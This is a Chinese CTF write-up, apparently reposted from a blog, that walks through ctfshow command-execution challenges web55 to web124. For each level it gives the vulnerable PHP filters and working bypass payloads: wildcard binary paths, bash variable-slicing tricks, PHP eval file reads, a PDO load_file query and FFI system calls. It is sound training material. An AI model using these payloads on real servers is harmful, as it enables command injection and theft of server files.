ctfshow web入门 命令执行后篇(web55-web188)
Posted parkour-
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 命令执行后篇(web55-web188)相关的知识,希望对你有一定的参考价值。
目录
web55
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这个题就比较可以了,把字母过滤了,但是还保留了数字
然后解题的姿势比较可以
第一个为使用base64进行匹配
可以匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
我们知道了base64,可以用通配符进行匹配命令执行进行查看flag
?c=/???/????64 flag.php
意思/bin/base64 flag.php
第二个为bzip2命令
思路是,将flag文件进行压缩,然后再访问下载
/usr/bin目录下主要放置一些应用软件工具必备的执行档
c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
其中,我们可以利用/usr/bin下的bzip2
?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php
第三个运用.(进行)执行sh命令
再之前我们要上传post文件数据包
源码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,执行poc执行命令
?c=.+/???/????????[@-[]
添加sh命令就可
#!/bin/sh
ls
具体这个方法,我还没大学懂,还得继续努力
web56
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
此题和上一题一样,但是数字也被过滤掉了,需要上传POST数据文件
然后,上传后抓包
?c=.+/???/????????[@-[]
再执行sh命令
#!/bin/sh
ls
#!/bin/sh
tac flag.php
web57
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤掉了许多东西,但是最后只需要让我们让c等于36即可
payload:
1.
$(())输出0,数学运算
~$(())输出~0
$((~$(())))输出-1
所以再这我们只需要让36个-1相加再取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
2.
?c=grep${IFS}'fla'${IFS}fla??php
web58
禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
直接用system函数试一下,发现被禁用了,然后又试了其他的函数都被禁用了
然后我们可以用读取文件的方式进行,在这里它没有禁用文件读取
c=echo file_get_contents("flag.php");
可以得到flag
web59
源码没变。但引用的函数肯定是越来越多
这个题直接使用读取文件的方式已经不行,被禁用了
然后这个题可以直接include函数,然后文件读取的方式即可
然后得到base64的编码,直接解码就可
web60
源码依旧没变,然后试一下上一题的include方法,依然可以用
然后这个题可以使用高亮函数,直接
c=highlight_file("flag.php");
web61
依然是源码没有改变,这个题前两个的payload也可以直接用
然后这个也可以用show_source()函数
c=show_source("flag.php");
web62
这个题emm,还是前几个payload都可以直接白嫖
然后,我们还可以用这个方法
c=include("flag.php");echo $flag;
web63
依旧是那个源码,用之前的payload也是可行的
然后,我们这个题可以用一下var_dump
c=include('flag.php');var_dump(get_defined_vars());
web64
源码依然是一样的,前面payload都可以使用
这个题可以使用其他的
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web65
依然是那个函数,直接show_source()得flag
web66
源码还是那个源码,但是show_source被禁用了
但是高亮函数是肯定没有被禁了,我们可以用高亮函数
但是发现flag不在flag.php中,位置不对
我们查看一下位置
c=print_r(scandir("/"));看一下根目录
发现到了flag.txt
然后直接flag.txt
c=highlight_file('/flag.txt');
web67
这个题和上一题相似,直接显示flag.php是没有的,真正的flag不在flag.php,然后多了
print_r函数的过滤,我们可以改用var_dump
c=highlight_file('/flag.txt');
web68-70
一上来居然没有代码,所以很明显,那种显示的函数肯定是被禁的
show_source、highlight_file、file_get_contents
所以我们可以用文件包含的方式,
payload:
c=include("/flag.txt");
c=require_once('/flag.txt');
web71
附件中的源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
函数解释
ob_get_contents()——返回输出缓冲区的内容
ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲
解题的思路
执行PHP代码,让后面的匹配缓冲区不执行直接退出
payload
c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();
web72
题目还没弄懂,后期补上
web73
题目hint里面给出了一个payload
c=?><?php //前面的?>用来闭合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
这个方法是采用了数组遍历,输出根目录下所有的文件
另一个payload可以直接用前一题的payload
c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();
web74
这题又ban了scandir()函数,
payload:
c=include('/flagc.txt');exit();
web75-76
还没搞懂,先上hint
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
这个题,也不大懂~~~
先放上hint吧
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
web118
首先给我们了两个hint点
hint1:
hint2:为两个payload
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
这个题的具体含义为利用~获取变量的最后几位,如
~0获取最后一位
~1获取最后两位
~[a-z]/[A-Z]获取最后一位,等同数字0
在这要配合$PWD,$PATH
$PWD——echo $PWD会输出当前目录名
注:
一般$PATH是以bin结尾,所以${PATH:-A}为n
在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l
我们可以利用这个代替,生成出nl再读取文件,题目也是过滤掉了数字和小写字母,当然flag,php关键词也被过滤掉了,flag.php依然是用????.???
所以payload
code=${PATH:~A}${PWD:~A} ????.???
web119
hint还是两个第一个就是上一个图
第二个hint
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
基于上一题的做法,但是这一题过滤掉了PATH和BASH,所以我们要构造出
/bin/base64 flag.php
${#RANDOM}的值大概率是4或5,这就构造出4了
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
所以payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就可以得到了base64的编码,解码一下得到flag
web120
给了源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|\\!|\\=|\\^|\\*|\\x26|\\%|\\<|\\>|\\'|\\"|\\`|\\||\\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
又过滤掉了好多东西,但是上一题的payload可以直接用。
hint:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
提示构造的结果为
/bin/cat flag.php
所以说
${USER:}的最后一位为a
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|_|~|\\!|\\=|\\^|\\*|\\x26|\\%|\\<|\\>|\\'|\\"|\\`|\\||\\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
源码也是给我们了,过滤了超多东西,最重要的SHLVL被过滤掉了,所以需要用别的方法代替1,
${##}和${#?}可以代替
payload:
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???
/bin/rev flag.php
${IFS}的默认长度为3,${PWD:${#IFS}:${#?}}的值为r,用到的rev命令,会倒叙输出
输出完再进行,倒叙处理得到flag
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|_|~|\\!|\\=|\\^|\\*|\\x26|#|%|\\>|\\'|\\"|\\`|\\||\\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
源码给我们了,在这PWD被过滤了
在这PWD可以用HOME代替,其他的没有改变,所以,我们只需要得到一个数字1就能通过。
$?,上一条命令执行结束后的传回值,通常0代表执行成功,非0代表执行有误
4我们也可以进行输出,但是需要不断刷新几率比较小
${RANDOM::$?}
连在一起可以得到payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这个题,只能用它给的函数,然后限定了传入的值的长度为80。
然后注意白名单的函数
base_convert():在任意进制直接转换数字
dechex():把十进制转换为十六进制数
hex2bin():把十六进制的字符串转换为ASCLL字符
无绕过payload
?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")
因为[]被ban了,可以用{}代替,后面内容还没看明白
先附上payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php;
做完这些题目,发现掌握了一些新知识,当时还有题目没有做出来,后面二刷或多刷肯定会补上,进行不断学习~~~
命令执行就先告一段落了
以上是关于ctfshow web入门 命令执行后篇(web55-web188)的主要内容,如果未能解决你的问题,请参考以下文章
ctfshow web入门 命令执行前篇(web29-web54)
CTFSHOW web入门 java反序列化篇 web855
CTFSHOW web入门 java反序列化篇 web855